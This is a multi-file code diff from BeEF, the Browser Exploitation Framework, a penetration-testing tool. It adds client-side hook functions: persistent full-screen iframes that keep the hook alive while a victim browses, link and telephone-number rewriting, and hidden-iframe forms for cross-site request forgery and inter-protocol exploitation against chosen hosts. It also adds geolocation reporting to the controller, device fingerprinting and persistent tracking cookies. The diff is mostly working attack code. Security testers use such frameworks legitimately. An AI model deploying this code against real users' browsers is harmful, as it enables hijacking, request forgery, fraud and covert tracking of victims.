// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.dom
*
@@ -85,6 +76,30 @@ beef.dom = {
return iframe;
},
/**
* Returns the highest current z-index
* @param: {Boolean} whether to return an associative array with the height AND the ID of the element
* @return: {Integer} Highest z-index in the DOM
* OR
* @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
*/
getHighestZindex: function(include_id) {
var highest = {'height':0, 'elem':''};
$j('*').each(function() {
var current_high = parseInt($j(this).css("zIndex"),10);
if (current_high > highest.height) {
highest.height = current_high;
highest.elem = $j(this).attr('id');
}
});
if (include_id) {
return highest;
} else {
return highest.height;
}
},
/**
* Create and iFrame element. In case it's create with POST method, the iFrame is automatically added to the DOM and submitted.
@@ -104,8 +119,15 @@ beef.dom = {
var form_action = params['src'];
params['src'] = '';
}
if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); }
if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); }
if (type == 'hidden') {
css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
} else if (type == 'fullscreen') {
css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
$j('body').css({'padding':'0px', 'margin':'0px'});
} else {
css = styles;
$j('body').css({'padding':'0px', 'margin':'0px'});
}
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
if (form_submit && form_action)
@@ -117,6 +139,94 @@ beef.dom = {
}
return iframe;
},
/**
* Load the link (href value) in an overlay foreground iFrame.
* The BeEF hook continues to run in background.
* NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
* Framebusting techniques, this will not work.
*/
persistentIframe: function(){
$j('a').click(function(e) {
if ($j(this).attr('href') != '')
{
e.preventDefault();
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
$j(document).attr('title', $j(this).html());
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
}
});
},
/**
* Load a full screen div that is black, or, transparent
* @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
* @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
* opacity:0-100 // Lower number = less grayout higher = more of a blackout
* // By default this is 70
* zindex: # // HTML elements with a higher zindex appear on top of the gray out
* // By default this will use beef.dom.getHighestZindex to always go to the top
* bgcolor: (#xxxxxx) // Standard RGB Hex color code
* // By default this is #000000
*/
grayOut: function(vis, options) {
// in any order. Pass only the properties you need to set.
var options = options || {};
var zindex = options.zindex || beef.dom.getHighestZindex()+1;
var opacity = options.opacity || 70;
var opaque = (opacity / 100);
var bgcolor = options.bgcolor || '#000000';
var dark=document.getElementById('darkenScreenObject');
if (!dark) {
// The dark layer doesn't exist, it's never been created. So we'll
// create it here and apply some basic styles.
// If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
var tbody = document.getElementsByTagName("body")[0];
var tnode = document.createElement('div'); // Create the layer.
tnode.style.position='absolute'; // Position absolutely
tnode.style.top='0px'; // In the top
tnode.style.left='0px'; // Left corner of the page
tnode.style.overflow='hidden'; // Try to avoid making scroll bars
tnode.style.display='none'; // Start out Hidden
tnode.id='darkenScreenObject'; // Name it so we can find it later
tbody.appendChild(tnode); // Add it to the web page
dark=document.getElementById('darkenScreenObject'); // Get the object.
}
if (vis) {
// Calculate the page width and height
if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
var pageWidth = document.body.scrollWidth+'px';
var pageHeight = document.body.scrollHeight+'px';
} else if( document.body.offsetWidth ) {
var pageWidth = document.body.offsetWidth+'px';
var pageHeight = document.body.offsetHeight+'px';
} else {
var pageWidth='100%';
var pageHeight='100%';
}
//set the shader to cover the entire page and make it visible.
dark.style.opacity=opaque;
dark.style.MozOpacity=opaque;
dark.style.filter='alpha(opacity='+opacity+')';
dark.style.zIndex=zindex;
dark.style.backgroundColor=bgcolor;
dark.style.width= pageWidth;
dark.style.height= pageHeight;
dark.style.display='block';
} else {
dark.style.display='none';
}
},
/**
* Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
* or, re-writing a document this is useful.
*/
removeStylesheets: function() {
$j('link[rel=stylesheet]').remove();
$j('style').remove();
},
/**
* Create a form element with the specified parameters, appending it to the DOM if append == true
@@ -168,6 +278,23 @@ beef.dom = {
}).length;
},
/**
* Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
* http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
* @param: {String} url: the url to be rewritten
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinksClickEvents: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
return $j(sel).each(function() {
if ($j(this).attr('href') != null)
{
$j(this).click(function() {this.href=url});
}
}).length;
},
/**
* Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
* @param: {String} old_protocol: the old link protocol to be rewritten
@@ -194,6 +321,31 @@ beef.dom = {
return count;
},
/**
* Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
* @param: {String} new_number: the new link telephone number to be written
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
*/
rewriteTelLinks: function(new_number, selector) {
var count = 0;
var re = new RegExp("tel:/?/?.*", "gi");
var sel = (selector == null) ? 'a' : selector;
$j(sel).each(function() {
if ($j(this).attr('href') != null) {
var url = $j(this).attr('href');
if (url.match(re)) {
$j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
count++;
}
}
});
return count;
},
/**
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
* @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
@@ -240,7 +392,7 @@ beef.dom = {
}
content += "</object>";
}
if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO()) {
if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
if (codebase != null) {
content = "" +
@@ -259,24 +411,25 @@ beef.dom = {
}
content += "</applet>";
}
if (beef.browser.isFF()) {
if (codebase != null) {
content = "" +
"<embed id='" + id + "' code='" + code + "' " +
"type='application/x-java-applet' codebase='" + codebase + "' " +
"height='0' width='0' name='" + name + "'>";
} else {
content = "" +
"<embed id='" + id + "' code='" + code + "' " +
"type='application/x-java-applet' archive='" + archive + "' " +
"height='0' width='0' name='" + name + "'>";
}
if (params != null) {
content += beef.dom.parseAppletParams(params);
}
content += "</embed>";
}
// For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
// if (beef.browser.isFF()) {
// if (codebase != null) {
// content = "" +
// "<embed id='" + id + "' code='" + code + "' " +
// "type='application/x-java-applet' codebase='" + codebase + "' " +
// "height='0' width='0' name='" + name + "'>";
// } else {
// content = "" +
// "<embed id='" + id + "' code='" + code + "' " +
// "type='application/x-java-applet' archive='" + archive + "' " +
// "height='0' width='0' name='" + name + "'>";
// }
//
// if (params != null) {
// content += beef.dom.parseAppletParams(params);
// }
// content += "</embed>";
// }
$j('body').append(content);
},
@@ -286,10 +439,61 @@ beef.dom = {
*/
detachApplet: function(id) {
$j('#' + id + '').detach();
},
/**
* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
* @params: {String} action: the form action attribute, where the request will be sent.
* @params: {String} method: HTTP method, usually POST.
* @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
*/
createIframeXsrfForm: function(action, method, inputs){
var iframeXsrf = beef.dom.createInvisibleIframe();
var formXsrf = document.createElement('form');
formXsrf.setAttribute('action', action);
formXsrf.setAttribute('method', method);
var input = null;
for (i in inputs){
var attributes = inputs[i];
input = document.createElement('input');
for(key in attributes){
input.setAttribute(key, attributes[key]);
}
formXsrf.appendChild(input);
}
iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
formXsrf.submit();
return iframeXsrf;
},
/**
* Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
* @params: {String} rhost: remote host ip/domain
* @params: {String} rport: remote port
* @params: {String} commands: protocol commands to be executed by the remote host:port service
*/
createIframeIpecForm: function(rhost, rport, commands){
var iframeIpec = beef.dom.createInvisibleIframe();
var formIpec = document.createElement('form');
formIpec.setAttribute('action', 'http://'+rhost+':'+rport+'/index.html');
formIpec.setAttribute('method', 'POST');
formIpec.setAttribute('enctype', 'multipart/form-data');
input = document.createElement('textarea');
input.setAttribute('name', Math.random().toString(36).substring(5));
input.value = commands;
formIpec.appendChild(input);
iframeIpec.contentWindow.document.body.appendChild(formIpec);
formIpec.submit();
return iframeIpec;
}
};
beef.regCmp('beef.dom');

View File

@@ -1,18 +1,9 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
beef.encode = {};
@@ -156,6 +147,6 @@ beef.encode.base64 = {
return string;
}
}
};
beef.regCmp('beef.encode.base64');

View File

@@ -1,26 +1,23 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
beef.encode.json = {
stringify: function(o) {
if (typeof(JSON) == 'object' && JSON.stringify)
return JSON.stringify(o);
if (typeof(JSON) == 'object' && JSON.stringify) {
// Error on stringifying cylcic structures caused polling to die
try {
s = JSON.stringify(o);
} catch(error) {
// TODO log error / handle cyclic structures?
}
return s;
}
var type = typeof(o);
if (o === null)
@@ -126,9 +123,9 @@ beef.encode.json = {
'"' : '\\"',
'\\': '\\\\'
}
}
};
$j.toJSON = function(o) {return beef.encode.json.stringify(o);}
$j.quoteString = function(o) {return beef.encode.json.quoteString(o);}
$j.toJSON = function(o) {return beef.encode.json.stringify(o);};
$j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
beef.regCmp('beef.encode.json');

View File

@@ -1,18 +1,9 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.geolocation
*
@@ -41,14 +32,14 @@ beef.geolocation = {
$j.ajax({
error: function(xhr, status, error){
//console.log("[geolocation.js] openstreetmap error");
beef.debug("[geolocation.js] openstreetmap error");
beef.net.send(command_url, command_id, "latitude=" + latitude
+ "&longitude=" + longitude
+ "&osm=UNAVAILABLE"
+ "&geoLocEnabled=True");
},
success: function(data, status, xhr){
//console.log("[geolocation.js] openstreetmap success");
beef.debug("[geolocation.js] openstreetmap success");
var jsonResp = $j.parseJSON(data);
beef.net.send(command_url, command_id, "latitude=" + latitude
@@ -73,16 +64,16 @@ beef.geolocation = {
beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
return;
}
//console.log("[geolocation.js] navigator.geolocation.getCurrentPosition");
beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
navigator.geolocation.getCurrentPosition( //note: this is an async call
function(position){ // success
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
//console.log("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
}, function(error){ // failure
//console.log("[geolocation.js] error [%d] getting position", error.code);
beef.debug("[geolocation.js] error [%d] getting position", error.code);
switch(error.code) // Returns 0-3
{
case 0:

View File

@@ -0,0 +1,129 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.hardware = {
ua: navigator.userAgent,
cpuType: function() {
// IE
if (typeof navigator.cpuClass != 'undefined') {
cpu = navigator.cpuClass;
if (cpu == "x86") return "32-bit";
if (cpu == "68K") return "Motorola 68K";
if (cpu == "PPC") return "Motorola PPC";
if (cpu == "Alpha") return "Digital";
if (this.ua.match('Win64; IA64')) return "64-bit (Intel)";
if (this.ua.match('Win64; x64')) return "64-bit (AMD)";
// Firefox
} else if (typeof navigator.oscpu != 'undefined') {
if (navigator.oscpu.match('(WOW64|x64|x86_64)')) return "64-bit";
}
if (navigator.platform.toLowerCase() == "win64") return "64-bit";
return "32-bit";
},
isTouchEnabled: function() {
if ('ontouchstart' in document) return true;
return false;
},
isVirtualMachine: function() {
if (screen.width % 2 || screen.height % 2) return true;
return false;
},
isLaptop: function() {
// Most common laptop screen resolution
if (screen.width == 1366 && screen.height == 768) return true;
// Netbooks
if (screen.width == 1024 && screen.height == 600) return true;
return false;
},
isNokia: function() {
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
},
isZune: function() {
return (this.ua.match('ZuneWP7')) ? true : false;
},
isHtc: function() {
return (this.ua.match('HTC')) ? true : false;
},
isEricsson: function() {
return (this.ua.match('Ericsson')) ? true : false;
},
isMotorola: function() {
return (this.ua.match('Motorola')) ? true : false;
},
isGoogle: function() {
return (this.ua.match('Nexus One')) ? true : false;
},
/**
* Returns true if the browser is on a Mobile Phone
* @return: {Boolean} true or false
*
* @example: if(beef.hardware.isMobilePhone()) { ... }
**/
isMobilePhone: function() {
return DetectMobileQuick();
},
getName: function() {
var ua = navigator.userAgent.toLowerCase();
if(DetectIphone()) { return "iPhone"};
if(DetectIpod()) { return "iPod Touch"};
if(DetectIpad()) { return "iPad"};
if (this.isHtc()) { return 'HTC'};
if (this.isMotorola()) { return 'Motorola'};
if (this.isZune()) { return 'Zune'};
if (this.isGoogle()) { return 'Google Nexus One'};
if (this.isEricsson()) { return 'Ericsson'};
if(DetectAndroidPhone()) { return "Android Phone"};
if(DetectAndroidTablet()) { return "Android Tablet"};
if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
if(ua.search(deviceS60) > -1) { return "Nokia S60"};
if(ua.search(deviceS70) > -1) { return "Nokia S70"};
if(ua.search(deviceS80) > -1) { return "Nokia S80"};
if(ua.search(deviceS90) > -1) { return "Nokia S90"};
if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
if (this.isNokia()) { return 'Nokia'};
if(DetectWindowsPhone7()) { return "Windows Phone 7"};
if(DetectWindowsMobile()) { return "Windows Mobile"};
if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
if(DetectBlackBerry()) { return "BlackBerry"};
if(DetectPalmOS()) { return "Palm OS"};
if(DetectPalmWebOS()) { return "Palm Web OS"};
if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
if(DetectArchos()) { return "Archos"}
if(DetectBrewDevice()) { return "Brew"};
if(DetectDangerHiptop()) { return "Danger Hiptop"};
if(DetectMaemoTablet()) { return "Maemo Tablet"};
if(DetectSonyMylo()) { return "Sony Mylo"};
if(DetectAmazonSilk()) { return "Kindle Fire"};
if(DetectKindle()) { return "Kindle"};
if(DetectSonyPlaystation()) { return "Playstation"};
if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
if(DetectXbox()) { return "Xbox"};
if(this.isLaptop()) { return "Laptop"};
if(this.isVirtualMachine()) { return "Virtual Machine"};
return 'Unknown';
}
};
beef.regCmp('beef.hardware');

View File

@@ -1,69 +1,81 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
// and will have a new session id. The new session id will need to know
// the brwoser details. So sendback the browser details again.
BEEFHOOK=beef.session.get_hook_session_id()
/**
* @literal object: beef.init
* Contains the beef_init() method which starts the BeEF client-side
* logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
*
* If beef.pageIsLoaded is true, then this JS has been loaded >1 times
* and will have a new session id. The new session id will need to know
* the brwoser details. So sendback the browser details again.
*/
if( beef.pageIsLoaded ) {
beef.net.browser_details();
beef.session.get_hook_session_id();
if (beef.pageIsLoaded) {
beef.net.browser_details();
}
window.onload = function() {
beef_init();
}
window.onload = function () {
beef_init();
};
window.onpopstate = function(event) {
if(beef.onpopstate.length > 0) {
event.preventDefault;
for(var i=0;i<beef.onpopstate.length;i++){
var callback = beef.onpopstate[i];
try{
callback(event);
}catch(e){
console.log("window.onpopstate - couldn't execute callback: " + e.message);
}
return false;
}
}
}
window.onpopstate = function (event) {
if (beef.onpopstate.length > 0) {
event.preventDefault;
for (var i = 0; i < beef.onpopstate.length; i++) {
var callback = beef.onpopstate[i];
try {
callback(event);
} catch (e) {
beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
}
return false;
}
}
};
window.onclose = function(event) {
if(beef.onclose.length > 0) {
event.preventDefault;
for(var i=0;i<beef.onclose.length;i++){
var callback = beef.onclose[i];
try{
callback(event);
}catch(e){
console.log("window.onclose - couldn't execute callback: " + e.message);
}
return false;
}
}
}
window.onclose = function (event) {
if (beef.onclose.length > 0) {
event.preventDefault;
for (var i = 0; i < beef.onclose.length; i++) {
var callback = beef.onclose[i];
try {
callback(event);
} catch (e) {
beef.debug("window.onclose - couldn't execute callback: " + e.message);
}
return false;
}
}
};
/**
* Starts the polling mechanism, and initialize various components:
* - browser details (see browser.js) are sent back to the "/init" handler
* - the polling starts (checks for new commands, and execute them)
* - the logger component is initialized (see logger.js)
* - the Autorun Engine is initialized (see are.js)
*/
function beef_init() {
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
beef.net.browser_details()
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
}
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
beef.websocket.start();
beef.net.browser_details();
beef.updater.execute_commands();
beef.logger.start();
beef.are.init();
}else {
beef.net.browser_details();
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
beef.are.init();
}
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,18 +1,9 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*
* evercookie 0.4 (10/13/2010) -- extremely persistent cookies
*
@@ -158,14 +149,14 @@ this.get = function(name, cb, dont_reset)
$(document).ready(function() {
self._evercookie(name, cb, undefined, undefined, dont_reset);
});
}
};
this.set = function(name, value)
{
$(document).ready(function() {
self._evercookie(name, function() { }, value);
});
}
};
this._evercookie = function(name, cb, value, i, dont_reset)
{
@@ -273,7 +264,7 @@ this._evercookie = function(name, cb, value, i, dont_reset)
cb(candidate, tmpec);
}
}
}
};
this.evercookie_window = function(name, value)
{
@@ -283,7 +274,7 @@ this.evercookie_window = function(name, value)
else
return this.getFromStr(name, window.name);
} catch(e) { }
}
};
this.evercookie_userdata = function(name, value)
{
@@ -302,7 +293,7 @@ this.evercookie_userdata = function(name, value)
return elm.getAttribute(name);
}
} catch(e) { }
}
};
this.evercookie_cache = function(name, value)
{
@@ -335,7 +326,7 @@ this.evercookie_cache = function(name, value)
}
});
}
}
};
this.evercookie_etag = function(name, value)
{
@@ -368,7 +359,7 @@ this.evercookie_etag = function(name, value)
}
});
}
}
};
this.evercookie_lso = function(name, value)
{
@@ -390,7 +381,7 @@ this.evercookie_lso = function(name, value)
attributes.id = "myswf";
attributes.name = "myswf";
swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
}
};
this.evercookie_png = function(name, value)
{
@@ -453,7 +444,7 @@ this.evercookie_png = function(name, value)
}
}
}
}
};
this.evercookie_local_storage = function(name, value)
{
@@ -468,7 +459,7 @@ this.evercookie_local_storage = function(name, value)
}
}
catch (e) { }
}
};
this.evercookie_database_storage = function(name, value)
{
@@ -506,7 +497,7 @@ this.evercookie_database_storage = function(name, value)
}
}
} catch(e) { }
}
};
this.evercookie_session_storage = function(name, value)
{
@@ -520,7 +511,7 @@ this.evercookie_session_storage = function(name, value)
return sessionStorage.getItem(name);
}
} catch(e) { }
}
};
this.evercookie_global_storage = function(name, value)
{
@@ -536,7 +527,7 @@ this.evercookie_global_storage = function(name, value)
return eval("globalStorage[host]." + name);
} catch(e) { }
}
}
};
this.evercookie_silverlight = function(name, value) {
/*
* Create silverlight embed
@@ -566,7 +557,7 @@ this.evercookie_silverlight = function(name, value) {
'</a>' +
'</object>';
document.body.innerHTML+=html;
}
};
// public method for encoding
this.encode = function (input) {
@@ -600,7 +591,7 @@ this.encode = function (input) {
}
return output;
}
};
// public method for decoding
this.decode = function (input) {
@@ -636,7 +627,7 @@ this.decode = function (input) {
return output;
}
};
// private method for UTF-8 encoding
this._utf8_encode = function (string) {
@@ -663,7 +654,7 @@ this._utf8_encode = function (string) {
}
return utftext;
}
};
// private method for UTF-8 decoding
this._utf8_decode = function (utftext) {
@@ -694,7 +685,7 @@ this._utf8_decode = function (utftext) {
}
return string;
}
};
// this is crazy but it's 4am in dublin and i thought this would be hilarious
// blame the guinness
@@ -759,7 +750,7 @@ this.evercookie_history = function(name, value)
return this.decode(val);
}
}
}
};
this.createElem = function(type, name, append)
{
@@ -778,14 +769,14 @@ this.createElem = function(type, name, append)
document.body.appendChild(el);
return el;
}
};
this.createIframe = function(url, name)
{
var el = this.createElem('iframe', name, 1);
el.setAttribute('src', url);
return el;
}
};
// wait for our swfobject to appear (swfobject.js to load)
this.waitForSwf = function(i)
@@ -798,19 +789,24 @@ this.waitForSwf = function(i)
// wait for ~2 seconds for swfobject to appear
if (i < _ec_tests && typeof swfobject == 'undefined')
setTimeout(function() { waitForSwf(i) }, 300);
}
};
this.evercookie_cookie = function(name, value)
{
if (typeof(value) != "undefined")
{
// expire the cookie first
document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
}
else
return this.getFromStr(name, document.cookie);
}
try{
if (typeof(value) != "undefined")
{
// expire the cookie first
document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
}
else
return this.getFromStr(name, document.cookie);
}catch(e){
// the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
// evercookie_userdata and evercookie_window will be used in this case.
}
};
// get value from param-like string (eg, "x=y&name=VALUE")
this.getFromStr = function(name, text)
@@ -828,7 +824,7 @@ this.getFromStr = function(name, text)
if (c.indexOf(nameEQ) == 0)
return c.substring(nameEQ.length, c.length);
}
}
};
this.getHost = function()
{
@@ -836,7 +832,7 @@ this.getHost = function()
if (domain.indexOf('www.') == 0)
domain = domain.replace('www.', '');
return domain;
}
};
this.toHex = function(str)
{
@@ -852,7 +848,7 @@ this.toHex = function(str)
r += h;
}
return r;
}
};
this.fromHex = function(str)
{
@@ -866,7 +862,7 @@ this.fromHex = function(str)
e = s;
}
return r;
}
};
/*
* css history knocker (determine what sites your visitors have been to)
@@ -901,7 +897,7 @@ this.hasVisited = function(url)
this._testURL("https://" + url, this.no_color) ||
this._testURL("http://www." + url, this.no_color) ||
this._testURL("https://www." + url, this.no_color);
}
};
/* create our anchor tag */
var _link = this.createElem('a', '_ec_rgb_link');
@@ -930,30 +926,28 @@ try {
}
/* if test_color, return -1 if we can't set a style */
this._getRGB = function(u, test_color)
{
if (test_color && created_style == 0)
return -1;
this._getRGB = function (u, test_color) {
if (test_color && created_style == 0)
return -1;
/* create the new anchor tag with the appropriate URL information */
_link.href = u;
_link.innerHTML = u;
// not sure why, but the next two appendChilds always have to happen vs just once
document.body.appendChild(style);
document.body.appendChild(_link);
/* add the link to the DOM and save the visible computed color */
var color;
if (document.defaultView)
color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
else
color = _link.currentStyle['color'];
/* create the new anchor tag with the appropriate URL information */
_link.href = u;
_link.innerHTML = u;
// not sure why, but the next two appendChilds always have to happen vs just once
document.body.appendChild(style);
document.body.appendChild(_link);
return color;
}
/* add the link to the DOM and save the visible computed color */
var color;
if (document.defaultView)
color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
else
color = _link.currentStyle['color'];
this._testURL = function(url, no_color)
{
return color;
};
this._testURL = function(url, no_color){
var color = this._getRGB(url);
/* check to see if the link has been visited if the computed color is red */

1
core/main/client/lib/jools.min.js vendored Normal file

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,706 @@
/* *******************************************
// Copyright 2010-2012, Anthony Hand
// mdetect : http://code.google.com/p/mobileesp/source/browse/JavaScript/mdetect.js r215
// LICENSE INFORMATION
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
// either express or implied. See the License for the specific
// language governing permissions and limitations under the License.
// *******************************************
*/
var isIphone = false;
var isAndroidPhone = false;
var isTierTablet = false;
var isTierIphone = false;
var isTierRichCss = false;
var isTierGenericMobile = false;
var engineWebKit = "webkit";
var deviceIphone = "iphone";
var deviceIpod = "ipod";
var deviceIpad = "ipad";
var deviceMacPpc = "macintosh"; //Used for disambiguation
var deviceAndroid = "android";
var deviceGoogleTV = "googletv";
var deviceXoom = "xoom"; //Motorola Xoom
var deviceHtcFlyer = "htc_flyer"; //HTC Flyer
var deviceNuvifone = "nuvifone"; //Garmin Nuvifone
var deviceSymbian = "symbian";
var deviceS60 = "series60";
var deviceS70 = "series70";
var deviceS80 = "series80";
var deviceS90 = "series90";
var deviceWinPhone7 = "windows phone os 7";
var deviceWinMob = "windows ce";
var deviceWindows = "windows";
var deviceIeMob = "iemobile";
var devicePpc = "ppc"; //Stands for PocketPC
var enginePie = "wm5 pie"; //An old Windows Mobile
var deviceBB = "blackberry";
var vndRIM = "vnd.rim"; //Detectable when BB devices emulate IE or Firefox
